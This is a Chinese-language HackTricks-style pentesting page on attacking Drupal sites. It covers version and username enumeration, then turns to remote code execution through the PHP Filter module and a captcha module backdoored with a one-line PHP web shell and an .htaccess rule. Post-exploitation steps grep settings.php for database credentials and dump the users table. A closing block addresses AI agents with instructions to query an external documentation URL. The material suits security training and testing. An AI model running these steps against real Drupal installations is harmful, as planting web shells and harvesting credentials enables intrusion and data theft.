# Drupal

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="/files/YM7uBW8YtIhrJWT3a6lG" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

## 发现

* 检查**meta**

```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```

* **节点**: Drupal **使用节点索引其内容**。一个节点可以包含任何内容，比如博客文章、投票、文章等。页面的URI通常采用形式`/node/<nodeid>`。

```bash
curl drupal-site.com/node/1
```

## 枚举

Drupal 默认支持**三种类型的用户**：

1. **`管理员`**：此用户对Drupal网站拥有完全控制权。
2. **`已验证用户`**：这些用户可以登录网站，并根据其权限执行操作，如添加和编辑文章。
3. **`匿名用户`**：所有网站访问者都被指定为匿名用户。默认情况下，这些用户只能阅读帖子。

### 版本

* 检查 `/CHANGELOG.txt`

```bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21
```

{% hint style="info" %}
Drupal的新安装默认阻止访问`CHANGELOG.txt`和`README.txt`文件。
{% endhint %}

### 用户名枚举

#### 注册

在 */user/register* 中尝试创建用户名，如果该名称已被使用，将会收到通知：

![](/files/f0RArFQSm0478sIxKtB3)

#### 请求新密码

如果为现有用户名请求新密码：

![](/files/4HdkfUHlpeKc7eGbUwps)

如果为不存在的用户名请求新密码：

![](/files/249jtNYUvo1Ld3KTxVH7)

### 获取用户数量

访问 */user/\<number>* 您可以查看现有用户的数量，在这种情况下为2，因为 */users/3* 返回未找到错误：

![](/files/KsNFICm6VqKFOzjn0z4K)

![](/files/9mUigH5sq129zIYp8TzJ)

### 隐藏页面

**模糊 `/node/$` 其中 `$` 是一个数字**（例如从1到500）。\
您可能会发现**隐藏页面**（测试、开发），这些页面未被搜索引擎引用。

#### 已安装模块信息

```bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
```

### 自动化

```bash
droopescan scan drupal -u http://drupal-site.local
```

## RCE

### 使用 PHP 过滤器模块

{% hint style="warning" %}
在 Drupal 的旧版本 **(8 版本之前)** 中，可以登录为管理员并**启用 `PHP 过滤器` 模块**，该模块"允许评估嵌入的 PHP 代码/片段"。
{% endhint %}

您需要安装**插件 php**（访问 */modules/php* 进行检查，如果返回 **403**，则**已安装**；如果**未找到**，则**插件 php 未安装**）

转到 *模块* -> (**检查**) *PHP 过滤器* -> *保存配置*

![](/files/bPDzJIuML64Ekg1JnJmk)

然后点击 *添加内容* -> 选择 *基本页面* 或 *文章* -> 在正文中编写 *php shellcode* -> 在 *文本格式* 中选择 *PHP 代码* -> 选择 *预览*

![](/files/fpMTzuFN6FgUrlOUBlLN)

最后只需访问新创建的节点：

```bash
curl http://drupal-site.local/node/3
```

### 安装 PHP 过滤器模块

从**8版本开始**，[**PHP 过滤器**](https://www.drupal.org/project/php/releases/8.x-1.1) **模块不再默认安装**。要使用此功能，我们需要**自己安装该模块**。

1. 从 Drupal 网站下载最新版本的模块。
2. wget <https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz>
3. 下载完成后，转到\*\*`管理`\*\* > **`报告`** > **`可用更新`**。
4. 点击\*\*`浏览`**，选择从我们下载到的目录中的文件，然后点击**`安装`\*\*。
5. 安装完成后，我们可以点击\*\*`内容`**，并**创建一个新的基本页面\*\*，类似于我们在 Drupal 7 示例中所做的操作。再次确保从\*\*`文本格式`下拉菜单中选择`PHP 代码`\*\*。

### 后门模块

可以通过**向现有模块添加 shell** 来创建后门模块。可以在 drupal.org 网站上找到模块。让我们选择一个模块，如[验证码](https://www.drupal.org/project/captcha)。向下滚动并复制 tar.gz [存档](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz)的链接。

* 下载存档并提取其内容。

```
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```

* 使用以下内容创建一个 **PHP Web Shell**：

```php
<?php
system($_GET["cmd"]);
?>
```

* 接下来，我们需要创建一个\*\*`.htaccess`**文件，以便让自己访问该文件夹。这是必要的，因为Drupal拒绝直接访问**`/modules`\*\*文件夹。

```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```

* 上面的配置将在我们请求/modules文件夹中的文件时应用规则。将这两个文件都复制到captcha文件夹中并创建一个存档。

```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```

* 假设我们拥有对网站的**管理访问权限**，点击侧边栏上的\*\*`管理`**，然后点击**`扩展`**。接下来，点击**`+ 安装新模块`**按钮，我们将被带到安装页面，例如`http://drupal-site.local/admin/modules/install`浏览到带后门的验证码存档并点击**`安装`\*\*。
* 安装成功后，浏览到\*\*`/modules/captcha/shell.php`\*\*以执行命令。

## 后渗透

### 读取 settings.php

```
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
```

### 从数据库中转储用户

```
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
```

## 参考资料

* <https://academy.hackthebox.com/module/113/section/1209>

<figure><img src="/files/YM7uBW8YtIhrJWT3a6lG" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/drupal.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
